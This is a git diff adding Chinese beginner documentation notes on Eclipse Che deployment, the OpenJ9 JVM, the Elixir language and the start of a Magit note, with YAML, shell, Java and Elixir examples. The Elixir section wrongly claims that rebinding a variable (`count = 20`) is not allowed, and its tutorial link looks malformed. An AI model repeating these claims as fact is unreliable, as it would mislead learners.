+## 代码示例 2：部署 Che 的 `CheCluster` 与 `kubectl`
+
+生产环境通常先装 **Eclipse Che Operator**（Helm 或 OLM），再 apply `CheCluster`。下面是从官方文档提炼的**最小 CR 骨架**与等待就绪命令（域名与 OAuth 需按集群替换）：
+
+```yaml
+apiVersion: org.eclipse.che/v2
+kind: CheCluster
+metadata:
+  name: eclipse-che
+  namespace: eclipse-che
+spec:
+  components: {}
+  devEnvironments: {}
+  networking:
+    domain: che.example.com
+    auth:
+      identityProviderURL: https://oauth.example.com
+      oAuthClientName: che-public
+      oAuthSecret: <replace-with-secret>
+```
+
+```bash
+# 创建命名空间并安装 Operator 后，应用 CheCluster
+kubectl apply -f che-cluster.yaml -n eclipse-che
+
+# 等待 Che 进入 Active 阶段（官方 Helm 文档常用 jsonpath 探测）
+kubectl wait checluster/eclipse-che \
+  --namespace eclipse-che \
+  --for=jsonpath='{.status.chePhase}'=Active \
+  --timeout=360s
+
+# 运行中调整配置（例如扩大 devfileRegistry 存储）
+kubectl edit checluster/eclipse-che -n eclipse-che
+
+# 验证 Che Server ConfigMap 是否已同步某配置项
+kubectl get configmap che -o jsonpath='{.data.CHE_WORKSPACE_DEVFILE__REGISTRY__URL}' \
+  -n eclipse-che
+```
+
+运维心智模型：**改 CheCluster → Operator 改 ConfigMap → K8s 滚动重启组件 Pod**。这与改 Deployment env 不同，所有平台级开关应走 CR，便于 GitOps 审计。
+
+---
+
+## 代码示例 3：用 CLI 直接提交 DevWorkspace（进阶）
+
+Dashboard 背后是 CR；平台工程师调试时可以直接 apply DevWorkspace（需已安装 DWO 且 RBAC 允许）。示意：
+
+```yaml
+apiVersion: workspace.devfile.io/v1alpha2
+kind: DevWorkspace
+metadata:
+  name: demo-workspace
+  namespace: che-user-alice
+spec:
+  started: true
+  template:
+    projects:
+      - name: sample
+        git:
+          remotes:
+            origin: https://github.com/eclipse-che/che-docs.git
+    components:
+      - name: editor
+        attributes:
+          che.eclipse.org/editor: eclipse/che-code/latest
+        container:
+          image: quay.io/devfile/universal-developer-image:ubi8-latest
+          memoryLimit: 512Mi
+```
+
+```bash
+kubectl apply -f devworkspace-demo.yaml -n che-user-alice
+kubectl get devworkspace -n che-user-alice -w
+```
+
+Che Dashboard 创建的工作区本质上也是类似结构，只是 Che Server 替你填好了 editor 属性、Registry URL 和 user namespace。
+
+---
+
+## 典型工作流（零基础第一次用）
+
+1. **集群准备**：Kubernetes 1.25+（或 OpenShift 4.x），Ingress/Route、默认 StorageClass、可拉取的容器镜像仓库。
+2. **安装 Operator + CheCluster**：用 [chectl](https://github.com/eclipse-che/che/tree/main) 或 Helm chart `eclipse-che/eclipse-che`；Red Hat 场景可用 OpenShift Dev Spaces（Che 下游产品化）。
+3. **配置身份**：Dex 或 OpenShift OAuth，让 Dashboard 能登录并映射 K8s RBAC。
+4. **导入 Devfile**：从 Devfile Registry 选 Stack，或把 `devfile.yaml` 放进 Git 仓库。
+5. **启动工作区**：Dashboard → Create Workspace → 选 Devfile + 编辑器 → Start；浏览器打开 IDE URL。
+6. **停止与清理**：Stop workspace 释放 CPU/内存；删除 DevWorkspace 释放 PVC（注意备份未 push 的代码）。
+
+---
+
+## 适用场景与边界
+
+**适合：**
+
+- 已有 Kubernetes/OpenShift，希望**统一 dev 环境**且 IDE 在浏览器内完成
+- 需要 **Devfile 标准**、多团队共享 Stack、与 CNCF 工具链对齐
+- 合规要求**数据不出集群**，同时要 LSP/DAP 现代 IDE 体验
+
+**不太适合：**
+
+- 小团队、无 K8s 运维能力——安装 Che + DWO + OAuth 的门槛明显高于单机 Docker
+- 主要诉求是 **PR 预览环境 / 全栈 ephemeral staging**——这类「环境即服务」更像 [[gitpod]] 预构建或专用 EaaS，Che 聚焦**个人/团队工作区**而非整条 delivery pipeline
+- 只想快速用 SaaS、不想自管 Operator——托管版（如 developers.redhat.com 上的 Che）可缓解，但仍需理解 Devfile
+
+---
+
+## 与相近项目怎么选
+
+| 维度 | Eclipse Che | Gitpod | Coder |
+|------|-------------|--------|-------|
+| 部署 | K8s Operator + CR | 自托管或 gitpod.io SaaS | 自托管 coderd + Terraform |
+| 环境定义 | Devfile v2 | `.gitpod.yml` | Template (Terraform) |
+| IDE 位置 | 工作区 Pod 内嵌 | 工作区容器 + OpenVSCode | 用户自选（SSH/VS Code/code-server） |
+| 最强卖点 | K8s 原生、Devfile 标准、企业 OIDC | Prebuild、秒开、深链 | 多后端、策略治理、AI Agent 场景 |
+| 运维复杂度 | 高（Operator 生态） | 中–高 | 中 |
+
+三者可以并存：Che 管「标准 K8s 研发车间」，Coder 管「GPU/Windows/非 K8s 工位」，Gitpod 管「开源仓库秒开贡献流程」——按团队边界拆分，而不是非此即彼。
+
+---
+
+## 学习路径建议
+
+1. 读官方 [Introduction to Eclipse Che](https://eclipse.dev/che/docs/stable/overview/introduction-to-eclipse-che/)，理解 Workspace 模型与 enterprise integration。
+2. 本地实验：Minikube/Kind + chectl `che deploy`（资源需求见文档 *Calculating Che resource requirements*）。
+3. 手写一个 `devfile.yaml` 推到自己 Git 仓库，在 Dashboard 从 URL 创建工作区。
+4. 读 [DevWorkspace Operator overview](https://eclipse.dev/che/docs/stable/administration-guide/devworkspace-operator/)，用 `kubectl get devworkspace,devworkspacerouting` 观察 reconcile。
+5. 对比 Devfile 与 `.gitpod.yml` / Coder template，理解「环境即代码」的三种方言。
+
+---
+
+## 延伸阅读
+
+- 官方文档：[eclipse.dev/che/docs](https://eclipse.dev/che/docs/stable/)
+- Devfile 规范：[devfile.io](https://devfile.io)
+- 架构：[Che architecture](https://eclipse.dev/che/docs/stable/administration-guide/architecture-overview/)
+- CheCluster 字段参考：[CR fields reference](https://eclipse.dev/che/docs/stable/administration-guide/checluster-custom-resource-fields-reference/)
+- 相关笔记：[[theia]]、[[openvscode-server]]、[[kubernetes]]、[[gitpod]]、[[coder]]
diff --git a/src/content/docs/projects/eclipse-openj9.md b/src/content/docs/projects/eclipse-openj9.md
new file mode 100644
index 000000000..cbaae303e
--- /dev/null
+++ b/src/content/docs/projects/eclipse-openj9.md
@@ -0,0 +1,315 @@
+---
+title: Eclipse OpenJ9 — IBM 高性能 JVM
+来源: https://github.com/eclipse-openj9/openj9
+日期: 2026-06-13
+子分类: 语言运行时
+分类: 编译器
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Eclipse OpenJ9** 是 Eclipse 基金会维护的一款高性能、可扩展的 **Java 虚拟机（JVM）** 实现。它最初由 IBM 在数十年企业级 JDK 研发中打磨成熟，2017 年贡献给 Eclipse 社区；今天你可以通过 **IBM Semeru**、部分 **Eclipse Temurin** 构建等发行版，用 OpenJ9 **替换默认的 HotSpot**，运行同一套 OpenJDK 字节码。
+
+日常类比：如果把 **OpenJDK** 看成「标准化的高速公路网」（类库、工具链、规范），那么 **JVM** 就是在这条路上跑的 **智能车队调度中心**——
+
+- **HotSpot**（Oracle/OpenJDK 默认）像一家大型连锁加油站：C1/C2 分层 JIT、G1/ZGC 等收集器，生态文档极多，是「标准答案」；
+- **OpenJ9** 像 IBM 调校多年的 **货运专线调度系统**：更强调 **启动快、内存省、多实例共享**，尤其适合容器里同时跑几十个 Java 微服务。
+
+同一辆「货车」（你的 `.jar`）通常不用改代码，换引擎（换 JVM 发行版）就能跑；但油耗表（GC 日志）、保养手册（`-X` 参数）和 HotSpot 不完全相同，调优前需要重新摸底。
+
+## 为什么重要
+
+不懂 OpenJ9，下面这些场景很难选对 JVM、也很难解释「换了个 JDK 为什么内存降了 30%」：
+
+- **云原生 / Kubernetes**：每个 Pod 一个 JVM，**Class Data Sharing（CDS）** 让多个进程共享类元数据，RSS 不再线性叠加
+- **Serverless / 短生命周期**：内置 **AOT（Ahead-of-Time）** 把热点方法提前编成原生码，减少 JIT 预热时间
+- **IBM 企业栈**：WebSphere、Liberty、部分中间件长期以 OpenJ9 为默认运行时
+- **与 HotSpot 的差异**：默认 GC 是 **gencon** 而非 G1；诊断产物是 **Java dump / snap dump** 体系，不是只有 HotSpot 那套 `-XX:+HeapDumpOnOutOfMemoryError` 习惯
+- **面试与架构选型**：「我们为什么用 Semeru 而不是 Temurin？」需要能讲清 **footprint vs 峰值吞吐** 的权衡
+
+## OpenJ9 在生态中的位置
+
+```
+Java 源码 (.java)
+      │
+      ▼ javac（OpenJDK 编译器，与 JVM 无关）
+   字节码 (.class)
+      │
+      ├──────────────────┬──────────────────┐
+      ▼                  ▼                  ▼
+  HotSpot JVM       OpenJ9 JVM         GraalVM CE
+  (Temurin 默认)    (Semeru 等)        (Native Image / JIT)
+      │                  │
+      └──────── 同一 JVMS 规范 ────────┘
+```
+
+| 发行版示例 | 捆绑 JVM | 典型用途 |
+|------------|----------|----------|
+| Eclipse Temurin | HotSpot（默认） | 通用 LTS、社区标准 |
+| IBM Semeru Runtimes | OpenJ9 | 云、容器、IBM 生态 |
+| Oracle JDK | HotSpot | 商业支持 |
+| 自建 `openjdk + openj9` | OpenJ9 | 前沿特性、贡献上游 |
+
+OpenJ9 **不是**另一门语言，也 **不替代** `javac`；它替换的是进程里的 **`libjvm`** 执行引擎。
+
+## 核心概念
+
+### 1. 与 HotSpot 的「同」与「不同」
+
+**相同点**：
+
+- 实现 **Java Virtual Machine Specification**，跑标准字节码
+- 解释执行 + JIT 动态编译 + 垃圾回收 + 标准 `java.*` API（由 OpenJDK 类库提供）
+- 支持 JVMTI、JFR 的替代/扩展诊断能力（OpenJ9 有自家 **Dump / Trace** 体系）
+
+**不同点（调优时最常踩坑）**：
+
+| 维度 | HotSpot（常见默认） | OpenJ9 |
+|------|---------------------|--------|
+| 默认 GC | G1（JDK 9+） | **gencon**（分代 + 并发全局） |
+| 类共享 | CDS（`-Xshare:...`） | **Shared Classes Cache**（`-Xshareclasses`） |
+| AOT | 需 GraalVM 等 | **内置**，与共享缓存联动 |
+| 关闭 JIT | `-Xint` | `-Xint` 或 `-Xnojit` |
+| 选 GC 策略 | `-XX:+UseG1GC` 等 | **`-Xgcpolicy:gencon`** 等 |
+
+### 2. Class Data Sharing（共享类缓存）
+
+多个 JVM 进程可以 attach 到同一块 **共享类缓存（shared classes cache）**，把已加载类的 **ROM 元数据**（以及可选的 AOT/JIT 数据）放在共享内存里。
+
+效果类比：**第一个 Java 服务把「字典」抄进会议室白板；后面进场的同事直接看白板，不用每人带一本厚字典。**
+
+- 默认对 **bootstrap 类** 启用共享（等价于 `-Xshareclasses:bootClassesOnly,nonFatal,silent`）
+- 显式开启：`-Xshareclasses`
+- 容器里常配合 `-Xshareclasses:name=myapp,cacheDir=/cache,persistent` 把缓存挂到 volume
+- 实用建议：生产环境常加 **`nonFatal`**——共享缓存初始化失败时 VM 仍可启动，只是退化为不共享
+
+### 3. AOT 与 JIT 协同
+
+OpenJ9 的 **JIT** 在运行中统计方法调用次数，超过阈值后编译为本地码；同时 **AOT** 会把部分方法编译结果 **写入共享缓存**，下次启动直接复用。
+
+- 关闭 AOT：`-Xnoaot`
+- 纯解释（排障）：`-Xint`（同时关掉 JIT 与 AOT）
+- 共享缓存里还可存 **JIT profiling 数据**，后续实例 **启动更快、跑得更快**
+
+这与 HotSpot「全靠运行时 C2 慢慢热起来」的路径不同，是 OpenJ9 在 **冷启动** 场景下的招牌能力。
+
+### 4. 垃圾回收（GC）策略
+
+用 **`-Xgcpolicy:<name>`** 选择策略（HotSpot 的 `-Xgc` 在 OpenJ9 里主要做 **细调**，选策略用 `-Xgcpolicy`）：
+
+| 策略 | 命令 | 适用场景 |
+|------|------|----------|
+| **gencon**（默认） | `-Xgcpolicy:gencon` | 事务型、大量短生命周期对象；平衡吞吐与暂停 |
+| **balanced** | `-Xgcpolicy:balanced` | 大堆、希望暂停更平滑；区域化堆 |
+| **optavgpause** | `-Xgcpolicy:optavgpause` | 更在意暂停时间 |
+| **optthruput** | `-Xgcpolicy:optthruput` | 吞吐优先 |
+| **metronome** | `-Xgcpolicy:metronome` | 确定性低延迟（特定平台） |
+| **nogc** | `-Xgcpolicy:nogc` | 测试、几乎不分配的场景 |
+
+堆大小仍用 **`-Xms` / `-Xmx`**；分代策略下可用 **`-Xmn`** 调节新生代。
+
+### 5. 诊断：Dump 与 Verbose 日志
+
+OpenJ9 在崩溃、OOM、`com.ibm.jvm.Dump` API 或 **`-Xdump`** 触发时，会生成多种 **dump 文件**（Java dump、heap dump、system dump、JIT dump、snap dump 等）。排障时常开：
+
+- **GC 日志**：`-Xverbosegclog` 或 `-Xlog:gc*`（部分版本兼容 HotSpot 风格）
+- **类共享详情**：`-Xshareclasses:verbose`
+- **JIT 日志**：`-Xjit:verbose`
+
+迁移自 HotSpot 时，不要假设 `jmap -dump` 是唯一手段；先读 OpenJ9 文档里的 **Switching to OpenJ9** 对照表。
+
+### 6. 容器与内存感知
+
+OpenJ9 会读取 **cgroup 内存限制**，在容器里默认行为与裸机不同。云原生部署应：
+
+- 明确 **`-Xmx`**（不要超过容器 limit 的 ~75–80%）
+- 为 **共享类缓存** 单独规划目录与大小（**`-Xscmx`**）
+- 用 **`java -XshowSettings:vm -version`** 查看 VM 识别到的环境
+
+## 安装与验证
+
+Semeru（OpenJ9 的常用发行版）安装后，验证 JVM 身份：
+
+```bash
+# macOS / Linux 示例：下载 Semeru 21 LTS 后
+export JAVA_HOME=/path/to/ibm-semeru-open-21-jdk
+$JAVA_HOME/bin/java -version
+```
+
+典型输出包含：
+
+```
+openjdk version "21.0.x" ...
+IBM Semeru Runtime Open Edition ...
+Eclipse OpenJ9 VM (build openj9-0.xx.x, ...)
+```
+
+看到 **OpenJ9** 字样，说明运行时已是 IBM 引擎而非 HotSpot。
+
+## 代码示例
+
+### 示例 1：确认当前 JVM 是否为 OpenJ9
+
+纯 Java，无第三方依赖，适合写进健康检查或启动日志：
+
+```java
+import java.lang.management.ManagementFactory;
+import java.lang.management.RuntimeMXBean;
+
+public class WhichJvm {
+    public static void main(String[] args) {
+        RuntimeMXBean rt = ManagementFactory.getRuntimeMXBean();
+        String vmName = rt.getVmName();
+        String vmVendor = rt.getVmVendor();
+
+        System.out.println("VM name:   " + vmName);
+        System.out.println("VM vendor: " + vmVendor);
+        System.out.println("Java home: " + System.getProperty("java.home"));
+
+        boolean openJ9 = vmName.contains("OpenJ9") || vmVendor.contains("IBM");
+        System.out.println("Is OpenJ9: " + openJ9);
+
+        if (openJ9) {
+            System.out.println("Tip: tune with -Xgcpolicy, -Xshareclasses, -Xmx");
+        } else {
+            System.out.println("Tip: likely HotSpot — tune with -XX:+UseG1GC etc.");
+        }
+    }
+}
+```
+
+编译运行：
+
+```bash
+javac WhichJvm.java
+java WhichJvm
+```
+
+### 示例 2：容器启动脚本——共享类缓存 + gencon
+
+下面是一段 **Dockerfile / K8s 启动命令** 中常见的 OpenJ9 参数组合（Spring Boot fat jar）：
+
+```bash
+#!/bin/sh
+CACHE_DIR=/opt/jvm-cache
+mkdir -p "$CACHE_DIR"
+
+exec java \
+  -Xms256m -Xmx512m \
+  -Xgcpolicy:gencon \
+  -Xshareclasses:name=springboot-app,cacheDir=${CACHE_DIR},persistent,nonFatal \
+  -Xscmx128m \
+  -Xdump:none \
+  -jar /app/application.jar
+```
+
+含义简述：
+
+- **`gencon`**：OpenJ9 默认分代并发策略，适合 Web 请求模型
+- **`name=...,persistent`**：缓存命名并落盘，Pod 重启后仍可复用
+- **`nonFatal`**：缓存损坏或权限问题时仍能启动
+- **`-Xscmx128m`**：限制共享缓存软上限，避免在小容器里占满磁盘/共享内存
+
+第二次启动同一镜像时，观察启动耗时与 RSS，通常比无 `-Xshareclasses` 更明显。
+
+### 示例 3：对比 GC 与显式 GC 行为
+
+```java
+public class GcPlayground {
+    static volatile byte[] sink;
+
+    public static void main(String[] args) throws Exception {
+        for (int round = 0; round < 5; round++) {
+            for (int i = 0; i < 50_000; i++) {
+                sink = new byte[4096];
+            }
+            System.out.println("round " + round + " allocated, suggesting System.gc()");
+            System.gc();
+            Thread.sleep(200);
+        }
+        System.out.println("done");
+    }
+}
+```
+
+用 OpenJ9 观察 GC 日志：
+
+```bash
+java -Xgcpolicy:gencon \
+     -Xverbosegclog:gc.log \
+     -Xms64m -Xmx256m \
+     GcPlayground
+```
+
+对比 HotSpot 时，把策略换成 `-XX:+UseG1GC -Xlog:gc*:file=gc.log`，你会看到 **日志格式、GC 周期命名、对 `System.gc()` 的响应** 都不同。OpenJ9 可用 **`-Xdisableexplicitgc`** 忽略显式 GC（类似 HotSpot 的 `-XX:+DisableExplicitGC`）。
+
+## 从 HotSpot 迁移的速查
+
+| 你想做的事 | HotSpot 常见写法 | OpenJ9 对应 |
+|------------|------------------|-------------|
+| 堆初始/最大 | `-Xms` / `-Xmx` | 相同 |
+| 选 GC | `-XX:+UseG1GC` | `-Xgcpolicy:gencon`（或 balanced 等） |
+| 类数据共享 | `-Xshare:on` | `-Xshareclasses` |
+| 关 JIT 排障 | `-Xint` | `-Xint` 或 `-Xnojit` |
+| 关显式 GC | `-XX:+DisableExplicitGC` | `-Xdisableexplicitgc` |
+| 线程栈 | `-Xss` | 相同（仅 Java 栈；本地栈见 `-Xmso`） |
+
+完整对照见官方 [Switching to OpenJ9](https://eclipse.dev/openj9/docs/cmdline_migration/)。
+
+## 何时选 OpenJ9，何时坚持 HotSpot
+
+**更适合 OpenJ9**：
+
+- 同一节点上 **密集部署多个 JVM**（微服务、Tomcat 多实例）
+- **冷启动** 与 **内存占用** 是 SLO 瓶颈（FaaS、CI 里短跑 Java）
+- 已使用 **IBM Semeru / WebSphere Liberty** 等配套栈
+
+**更适合 HotSpot**：
+
+- 依赖大量 **HotSpot 特有调优经验**、G1/ZGC 细参、async-profiler 默认工作流
+- 极致 **单进程长时间峰值吞吐**，且团队不愿重做 GC 基线
+- 某些第三方 native agent 仅针对 HotSpot 测试
+
+务实做法：用 **相同负载 JAR** 在 Temurin vs Semeru 各跑一轮 **启动时间、RSS、P99 延迟、吞吐** 对比，再定生产默认。
+
+## 构建与源码结构（开发者向）
+
+OpenJ9 源码在 [eclipse-openj9/openj9](https://github.com/eclipse-openj9/openj9)，与 OpenJDK 类库 **分开构建**，再组合成完整 JDK：
+
+```
+openj9/
+├── runtime/          # VM 核心：解释器、JIT、GC、端口层
+├── jcl/              # Java 类库补丁（与 OpenJDK 合并）
+├── sourcetools/      # 诊断工具
+└── doc/              # 设计与用户文档
+```
+
+个人从零编译成本较高；日常学习建议 **直接下载 Semeru 二进制**，读文档与做小实验即可。要向社区贡献，从 **小 bug、文档 PR** 入手比全量编译更现实。
+
+## 常见误区
+
+1. **「OpenJ9 不是真正的 Java」**——它通过 TCK 的 OpenJDK 发行版同样兼容 Java SE；差异在实现细节，不在语言
+2. **「把 HotSpot 的 `-XX:+UseZGC` 抄过来就能用」**——策略名与机制不同，应改用 `-Xgcpolicy:...`
+3. **「共享类缓存越大越好」**——`-Xscmx` 过大在小容器里浪费；配合 `verbose` 看 unstored bytes
+4. **「AOT 一定更快」**——极短任务可能来不及摊销；用实测验证
+5. **「换 JVM 不用回归测试」**——序列化、反射、JNI、时钟与 GC 停顿分布都可能变
+
+## 学习路径建议
+
+1. **会用**：安装 IBM Semeru 21 LTS，`java -version` 确认 OpenJ9
+2. **会对比**：同一 JAR 在 Temurin vs Semeru 测启动与内存
+3. **会调**：掌握 `-Xgcpolicy`、`-Xshareclasses`、`-Xmx`、`-Xverbosegclog`
+4. **会排**：学会 `-Xdump`、Java dump 阅读、`-Xshareclasses:printStats`
+5. **会跟**：关注 [OpenJ9 releases](https://github.com/eclipse-openj9/openj9/releases) 与 Semeru 安全公告
+
+## 延伸阅读
+
+- 官方文档：[https://eclipse.dev/openj9/docs/](https://eclipse.dev/openj9/docs/)
+- 新用户导读：[New to OpenJ9?](https://eclipse.dev/openj9/docs/openj9_newuser/)
+- GC 策略详解：[Garbage Collection policies](https://eclipse.dev/openj9/docs/gc/)
+- 兄弟笔记：[[openjdk]]（OpenJDK 与 HotSpot 主线）、[[graalvm]]（另一条 JVM 技术路线）
+
+## 小结
+
+Eclipse OpenJ9 是 **经 IBM 企业生产验证、现由 Eclipse 社区演进** 的 JVM 实现：与 HotSpot 争的不是「谁更 Java」，而是 **谁更适合你的部署密度与启动模型**。零基础只需记住三件事——**共享类缓存省内存、AOT+JIT 省预热、`-Xgcpolicy` 选 GC**；在同一 OpenJDK 字节码之上，用 Semeru 跑起来对比一次，比背参数表更有说服力。
diff --git a/src/content/docs/projects/electron.md b/src/content/docs/projects/electron.md
index 2afe1d1dc..cce0db3b4 100644
--- a/src/content/docs/projects/electron.md
+++ b/src/content/docs/projects/electron.md
@@ -260,6 +260,7 @@ app.whenReady().then(() => {
 
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
+- [[code-server]] —— code-server — 在浏览器里跑完整 VS Code
 - [[electron-forge]] —— Electron Forge — 官方一体化桌面应用构建流水线
 - [[expo]] —— Expo — RN 的"开箱即用"工具链 + 云构建 + OTA 更新
 - [[flutter]] —— Flutter — Google 自绘像素的跨平台 UI 框架
diff --git a/src/content/docs/projects/elixir.md b/src/content/docs/projects/elixir.md
new file mode 100644
index 000000000..6ef40941a
--- /dev/null
+++ b/src/content/docs/projects/elixir.md
@@ -0,0 +1,230 @@
+---
+title: Elixir — BEAM 上的现代语言
+来源: https://github.com/elixir-lang/elixir
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# Elixir — BEAM 上的现代语言
+
+## 一、Elixir 是什么
+
+Elixir 是一门**动态的、函数式的编程语言**，运行在 **BEAM 虚拟机**之上。BEAM 是 Erlang 虚拟机的名字（以创始人名字命名）。这意味着 Elixir 代码最终会被编译成 BEAM 字节码，和 Erlang 程序共享同一个运行时。
+
+> **日常类比**：如果把编程语言比作方言，Elixir 就像是用优雅的现代普通话说话，但它的"身体"（BEAM 虚拟机）是几十年前就建好的、极其可靠的老房子。这栋房子以"永不宕机"闻名——它支撑着电信交换机、移动支付系统（比如 M-Pesa 服务十亿用户），Elixir 继承了这份遗产。
+
+### 为什么值得学
+
+- **并发生而优越**：BEAM 的设计目标就是支撑百万级并发连接，Elixir 的进程模型让并发写作自然之事
+- **容错哲学**："Let it crash"——允许进程出错，由监督树自动重启，而不是用 try-catch 包裹一切
+- **函数式但不是纯函数式**：Elixir 鼓励用函数组合解决大部分问题，但也坦然使用状态（通过进程而非可变变量）
+- **与 Erlang 互通**：可以直接调用 Erlang 的标准库，无需桥接
+
+---
+
+## 二、核心概念
+
+### 1. 函数是第一等公民
+
+Elixir 中，函数是"一等公民"——可以赋值给变量、作为参数传递、从其他函数返回。所有函数都定义在**模块（Module）**中。
+
+```elixir
+# 定义模块和函数
+defmodule Math do
+  def add(a, b) do
+    a + b
+  end
+end
+
+# 调用：模块名.函数名(参数)
+Math.add(3, 5)  # => 8
+```
+
+### 2. 模式匹配（Pattern Matching）
+
+这是 Elixir 最让初学者"哇"的概念。`=` 不是赋值，而是**匹配**。左边和右边的值必须"对得上"。
+
+```elixir
+# 成功匹配
+x = 42
+x  # => 42
+
+# 直接匹配具体值
+42 = x  # => 42，完全合法
+# 反过来不成立：3 = x 会报错，因为 x 已经是 42
+
+# 列表解构
+[a, b, c] = [1, 2, 3]
+a  # => 1
+b  # => 2
+c  # => 3
+
+# 忽略不感兴趣的值
+[first | rest] = [1, 2, 3, 4]
+first  # => 1
+rest   # => [2, 3, 4]
+```
+
+> **日常类比**：模式匹配就像拼图——你拿一块拼图片（右边的值）去和左边的图案匹配。如果形状对得上，就成功；对不上，就报错。
+
+### 3. 进程（Process）
+
+Elixir 的"进程"不是操作系统进程，而是**超轻量级的用户态线程**。在 BEAM 上，几十万甚至上百万个并发进程同时运行是常态。每个进程：
+
+- 有独立的内存（互不共享）
+- 通过消息传递通信
+- 崩溃不影响其他进程
+
+### 4. 不可变数据
+
+变量一旦被绑定就不能更改。想要"改变"数据，实际上是创建了一个**新的数据副本**。
+
+```elixir
+count = 10
+# count = 20  # 不允许！会报 "variable count is unused" 或匹配错误
+new_count = count + 5  # => 15，这是新变量
+```
+
+---
+
+## 三、代码示例
+
+### 示例 1：基础语法与数据处理
+
+```elixir
+# 定义一个模块
+defmodule Greeter do
+  def greet(name) do
+    "Hello, #{name}!"
+  end
+
+  # 模式匹配做函数重载
+  def greet do
+    "Hello, World!"
+  end
+end
+
+Greeter.greet("Elixir")  # => "Hello, Elixir!"
+Greeter.greet()          # => "Hello, World!"
+
+# 管道操作符：把数据"流"过一连串的变换
+names = ["Alice", "Bob", "Charlie"]
+names
+|> Enum.map(fn name -> String.upcase(name) end)
+|> Enum.join(", ")
+# => "ALICE, BOB, CHARLIE"
+
+# 管道操作符让你"读起来像 sentences"
+# 先 map 转大写，再 join 成字符串
+```
+
+管道操作符 `|>` 把左边表达式的结果，作为**第一个参数**传给右边的函数。这是 Elixir 代码风格的核心标志——数据像水流一样经过管道中的每一个处理步骤。
+
+### 示例 2：并发进程与消息传递
+
+```elixir
+# 创建一个简单的"计数器"进程
+defmodule Counter do
+  def start_link do
+    # 启动一个进程，初始值为 0
+    Task.start_link(fn -> loop(0) end)
+  end
+
+  defp loop(count) do
+    receive do
+      :inc ->
+        loop(count + 1)
+      {:get, sender} ->
+        send(sender, count)
+        loop(count)
+      {:set, new_count} ->
+        loop(new_count)
+    end
+  end
+
+  # 对外接口
+  def increment(pid) do
+    send(pid, :inc)
+  end
+
+  def get(pid) do
+    send(pid, {:get, self()})
+    receive do
+      value -> value
+    end
+  end
+end
+
+# 使用
+{:ok, pid} = Counter.start_link()
+Counter.increment(pid)
+Counter.increment(pid)
+Counter.get(pid)  # => 2
+
+# 这个进程在后台默默运行，即使创建它的函数已经返回
+```
+
+> **日常类比**：想象一个信箱系统。每个 Elixir 进程有一个信箱（mailbox）。你往信箱塞信（`send`），不需要等对方拆信——塞完就走。对方什么时候拆信、拆几封，完全由对方决定。这就是"异步消息传递"。
+
+### 示例 3：监督树（Supervision Tree）
+
+```elixir
+# 用 Supervisor 管理子进程
+defmodule MyApp do
+  use Supervisor
+
+  def start_link do
+    Supervisor.start_link(__MODULE__, :ok)
+  end
+
+  def init(:ok) do
+    children = [
+      # Worker 进程列表
+      {Task, fn ->
+        # 如果这个进程挂了，Supervisor 会自动重启它
+        :timer.sleep(:infinity)
+      end}
+    ]
+
+    Supervisor.init(children, strategy: :one_for_one)
+  end
+end
+```
+
+`strategy: :one_for_one` 意思是：如果一个子进程挂了，只重启那个进程，不影响其他。BEAM 上最著名的哲学 **"Let it crash"** 正是通过 Supervision Tree 实现的——与其预防错误，不如让错误快速暴露、快速恢复。
+
+---
+
+## 四、与主流语言的对比
+
+| 特性 | JavaScript | Python | Elixir |
+|------|-----------|--------|--------|
+| 编程范式 | 多范式 | 多范式 | 函数式 |
+| 并发模型 | 事件循环（单线程） | GIL 限制 | 百万级轻量进程 |
+| 错误处理 | try-catch / Promise | try-except | Let it crash + 监督树 |
+| 数据类型 | 动态 | 动态 | 动态，不可变 |
+| 运行环境 | V8 等 | CPython | BEAM VM |
+| 适用场景 | Web 前端/全栈 | 数据科学/AI | 高并发/电信/实时系统 |
+
+---
+
+## 五、Elixir 的生态系统
+
+- **Phoenix**：最著名的 Elixir Web 框架，以高性能和实时功能著称（WebSocket、Channels）
+- **Hex.pm**：Elixir 的包管理器（类似 npm / PyPI），有数万包
+- **Mix**：内置的构建工具（类似 `npm` + `Makefile`），管理依赖、编译、测试一站式
+- **IEx**：交互式开发环境，输入一行代码立刻看到结果
+- **Erlang/OTP**：底层可调用 Erlang 库，覆盖分布式系统、RPC、消息队列等几乎所有基础设施
+
+---
+
+## 六、下一步
+
+1. **安装 Elixir**：`brew install elixir`（macOS）
+2. **进入 IEx**：运行 `iex`，尝试输入 `1 + 1`
+3. **官方教程**：https://elixir.hexdocs.pm/introduction.html（"Getting Started"系列是最佳起点）
+4. **写第一个 Mix 项目**：`mix new my_app`
+
+> **一句话总结**：Elixir 是一门"为大规模并发而生"的函数式语言，它不试图在语法上创新，而是把 BEAM 虚拟机几十年积累的容错、并发、热更新能力以优雅的方式暴露给你。学习 Elixir，本质上是在学习一套"用进程和消息构建可靠系统"的思维模式。
diff --git a/src/content/docs/projects/emacs-magit.md b/src/content/docs/projects/emacs-magit.md
new file mode 100644
index 000000000..9159cf72c
--- /dev/null
+++ b/src/content/docs/projects/emacs-magit.md
@@ -0,0 +1,237 @@
+---
+title: Magit
+来源: https://github.com/magit/magit
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+---
+
+# Magit — Emacs 中的 Git 瓷质界面
+
+## 什么是 Magit
+
+Magit 是一个运行在 Emacs 编辑器里的 Git 客户端。它不是什么图形界面软件，也不是一个独立程序，而是 Emacs 的一个扩展包。
+
+它的名字"Magit"是 Magic（魔法）和 Git 的组合。这个名字暗示了它的核心理念：让 Git 的使用变得像有魔法一样简单。
+
+## 日常类比
+
+想象一下 Git 的命令行界面。你在终端里打字：`git add .`、`git commit -m "fix"`、`git log`。每做一步都要记住命令、拼写正确、参数顺序不能错。这就像每次出门都要自己写一条导航路线——虽然你能做到，但很麻烦。
+
+Magit 做的事情，就像是一个会帮你看路、替你输入命令的助手。你不需要背任何命令。你看到的每一个状态信息（哪些文件被修改了、哪些提交还没推送）都可以直接用键盘上的几个字母键来操作。
+
+你可以把 Magit 想象成一个自动售货机：
+
+- 命令行 Git：你每次都要精确输入硬币面额、选择商品编号、按下按钮——一个字母错就退币
+- Magit：你直接看到所有商品和状态，按一个键就能完成操作，卖完了还会自动刷新
+
+## 核心概念
+
+### 1. 状态缓冲区（Status Buffer）
+
+Magit 最核心的界面叫"状态缓冲区"。你在 Emacs 里按一个快捷键，它就会显示当前 Git 仓库的所有状态：
+
+- 哪些文件被修改了
